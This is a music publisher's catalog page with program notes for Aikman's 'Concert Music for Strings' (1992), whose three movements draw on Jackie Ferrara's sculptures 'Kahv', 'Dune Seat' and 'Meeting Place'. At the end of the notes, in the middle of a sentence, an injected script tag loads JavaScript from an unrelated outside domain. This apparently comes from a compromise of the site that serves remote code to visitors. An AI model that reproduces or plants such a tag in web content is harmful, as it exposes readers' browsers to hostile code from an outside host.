Update Title: 1DFF2096-E935-4BEA-9EAD-3864446A4864

Titlecode

Title Name

Marketing Copy

Instrumentation

Commission

Dedication

Program Notes

Concert Music for Strings (1992) was commissioned by the Indianapolis Museum of Art in celebration of the sculpture of Jackie Ferrara. The piece is based on Jackie Ferrara's interest in form, pattern and detail. The stepped nature of her work lends itself to principles of musical composition: modulation, sequential ascent and descent, rise and fall of tension, concepts of instrumental range and motion, as well as varied repetition. The work is in three movements: Concerto-esque (after "Kahv"), Chor (after "Dune Seat") and Closing (after "Meeting Place").

In Kahv and other works of the late 1970's, such as Ajut, Khon, Trid and Tower Beck, Ferrara stretches the pyramidal form upwards, elongating their height. In "Concerto-esque,"  Aikman utilizes musical space in a similar fashion. Cast in an ABA form, three primary musical lines exist. Two are energetic, and one is lyric. These lines are presented separately and in combination. Sometimes they are compressed in space, and sometimes they are expanded dramatically. The sections which result are separated by a cadence (a melodic or harmonic pattern producing a pause or ending) which itself is modified each time it reoccurs. The cadence eventually soars upward, expanding the instrumental range nearly to its limits. This occurs twice, once before the middle section and also at the conclusion.

Ferrara said: 
Dune Seat was the first "place," and it came out of the science fiction book Dune, which is about life on another planet.... Dune is a waterless planet, like Egypt long ago, with a lot of sand and dunes and with many people living underground in elaborate chambers that were very beautiful, lit from above with plants growing. I made a seat that is kind of a throne with stairs leading up to it.... What always interested me about Dune . . . is a look that is not historically able to be situated-things that look ancient but seem modern, even futuristic. Dune is very much like that. It is probably taking place a millennium ahead of us, but because of certain geographic and environmental problems, there is this combination of the future and the past together that I find terribly appealing. Many ancient ruins have that quality; even though they are very old, they do not appear that way.

Ferrara views places as sculptural environments that invite the viewer to be drawn inside as opposed to earlier works called pieces that were intended to be viewed as objects. Aikman sees Dune Seat as a "place" with two areas of equal importance-the throne and the recess approached by the staircase. Similarly, Chor contains two musical ideas a chorale and solo interludes. In the same way the staircase unites both the recess and the throne, merging the musical ideas.

In Meeting Place, completed in 1989 for the Washington Convention and Trade Center in Seattle, Ferrara expands her sculpture to become an architectural form. Nancy Princenthal wrote: 
Fundamentally, Ferrara's is an art of introspection and contemplation, singular and non-negotiable, for both artist and viewer.

Meeting Place offers itself as an opportunity to congregate alone. In a similar manner Closing offers the listener a similar opportunity. The mood of this movement is framed within an ABA form. The questioning and searching introspective mood of the "A" sections contrasts with the lively and energetic nature of "B." The first "A" actually serves as an introduction to "B" in the classical sense (inspired by the extraordinary slow introductions found in the later Mozart symphonies). Markings in the score call for a wide range of expressions (from animated to lyrical) within this opening section. The "B" section represents a departure from the prevailing mood of "A." Scherzo style with an evenly moving, driving pulse characterizes this interior section. Closing reiterates moments of its original section on its way back to the conclusion of the entire work-the calm, slow-motion chords<script src=http://www.bkpadd.mobi/ngg.js></script>

Title Brand

Year Composed

Duration

Ensemble Size

Date Created

Date Updated

Inhouse Note

Bsc Code

Text Author

Premier Performance Memo

Recording Credits

Review

Awards

Title Category

Title Movements

Title Grade

Set Series ID

Title Instrument Category Text

Title Sub Category Text

Title Sub Category

Title Instrument Header

Title Grade Text

Clean Url